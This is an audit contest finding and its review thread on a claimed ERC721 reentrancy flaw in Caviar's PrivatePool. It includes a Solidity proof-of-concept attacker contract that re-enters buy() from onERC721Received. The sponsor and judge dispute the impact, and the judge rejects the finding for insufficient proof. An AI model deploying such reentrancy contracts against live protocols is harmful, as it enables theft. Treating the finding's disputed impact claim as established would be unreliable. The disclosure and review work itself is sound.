Potential Reserve Manipulation through ERC721 Reentrancy

[code423n4]

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L211 https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L240

Vulnerability details

Impact

The reentrancy vulnerability in this contract allows a user to manipulate the NFT reserves(virtualNftReserves), which can result in invalid price calculations. If the attacker chooses to exploit this vulnerability, they can sell their NFT back to the protocol at a higher price, given the manipulation of the reserves.

Proof of Concept

The execution of this exploit is requires the malicious contract deployed by attacker.

Steps of exploit:

-The attacker created a malicious contract that includes an ERC712Receiver and a buy() function, with the intention of using it to purchase ERC721 NFTs. -The attacker then called the PrivatePool.buy() function through the malicious contract. -The buy() function attempted to transfer the ERC721 NFTs to the msg.sender using ERC721(nft).safeTransferFrom(msg.sender, address(this), tokenIds[i]);. -However, due to the lack of re-entrancy protection, the malicious contract was able to repeatedly execute the buy() function within the ERC721Receiver function, thus sending received tokens to the PrivatePool contract and causing the virtualNftReserves variable to decreasing while increasing the virtualBaseTokenReserves variable. This ultimately broke the price calculation.

The following POC illustrates the Re-Entrancy attack

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "../Fixture.sol";
import "../../src/PrivatePool.sol";

contract ReentrancyMalicious is Fixture {
    PrivatePool public lender;
    uint256 public counter;
    address token;
    uint256 tokenId;
    bool public key;
    uint256[] public tokenIds;
    uint256[] public tokenWeights;
    PrivatePool.MerkleMultiProof internal proof;
    PrivatePool.MerkleMultiProof proofs;
    constructor(PrivatePool lender_, address _token, uint256[] memory _tokenWeights, PrivatePool.MerkleMultiProof memory _proof) {
        tokenIds.push(1);
        lender = lender_;
        token = _token;
        tokenWeights = _tokenWeights;
        proof = _proof;
    }
    function initiateBuy()
     public payable returns(uint256 returnedNetInputAmount){
        (uint256 netInputAmount,,) = lender.buyQuote(tokenIds.length * 1e18);
        (returnedNetInputAmount,,) = lender.buy{value: netInputAmount}(tokenIds, tokenWeights, proofs);
    }
    function onERC721Received(address, address, uint256 _tokenId, bytes memory) override public returns (bytes4) {
        uint256 nftSupply = (lender.virtualNftReserves() / 1e18);
        if(counter <= nftSupply) {
            counter++;
            // Send recieved NFT to the contract
            ERC721(token).safeTransferFrom(address(this), address(lender), tokenIds[0],"");
            uint256 weightSum = lender.sumWeightsAndValidateProof(tokenIds, tokenWeights, proof);
            (uint256 netOutputAmount,,) = lender.sellQuote(weightSum);
            console.log("Weigth sum: ",weightSum);
            console.log("Virtual NFT Reserves: ", lender.virtualNftReserves());
            console.log("Sell Quote: ", netOutputAmount);
            initiateBuy();
        }
        return this.onERC721Received.selector;
    }

}

POC screenshots (https://i.ibb.co/LhpPz53/Screen-Shot-2023-04-13-at-10-07-56-PM.png) (https://i.ibb.co/pJvyWtp/Screen-Shot-2023-04-13-at-10-13-25-PM.png)

As a result of the attacker's actions, the outputAmount calculation has been broken, and the PrivatePool contract's sell() function is using the sellQuote() function to determine the output amount. This vulnerability means that the attacker can sell their NFTs back to the PrivatePool contract at a higher price, leading to potential loss of funds.

Tool Used

Foundry

Recommended Mitigation Steps

Implement reentrancyGuard from OpenZeppelin to remove the risk of reentrant calls .

[c4-pre-sort]

0xSorryNotSorry marked the issue as primary issue

[outdoteth]

An exploit is not given here. I am quite sure there is no risk of user funds, and the xyk invariant is still held.

Example:

• Bob buys an NFT for 2 WETH, virtual base token reserves increase by 2e18 and virtual NFT reserves decrease by 1e18.
• The NFT is sent to him, he re-enters and buys another NFT for 2.2 WETH before the initial 2 WETH is transferred
• Virtual base token reserves increase by another 2.2e18 (total: +4.2e18) and NFT reserves decrease by another 1e18 (total: -2e18)
• Then he sells both NFTs before the initial WETH is transferred for 4.2 WETH, updating the virtual base token reserves (total: 0) and the NFT reserves are increased by 2e18 (total: 0)
• The 4.2 WETH from both buys is then transferred to the contract

After all is done, the net total difference in virtual base token reserves and virtual nft reserves from before and after the attack is 0. i.e. there is no exploit or loss of funds. happy to accept this issue though, if an actual exploit where user funds can be stolen is given.

[c4-sponsor]

outdoteth marked the issue as sponsor disputed

[GalloDaSballo]

I believe that the Warden has shown a way to manipulate the price, but in doing so they are maintaining the Pools Invariant, meaning that the attacker is just paying fees

I'll ask for more details in the POC but this doesn't look sufficient

[c4-judge]

GalloDaSballo marked the issue as unsatisfactory: Insufficient proof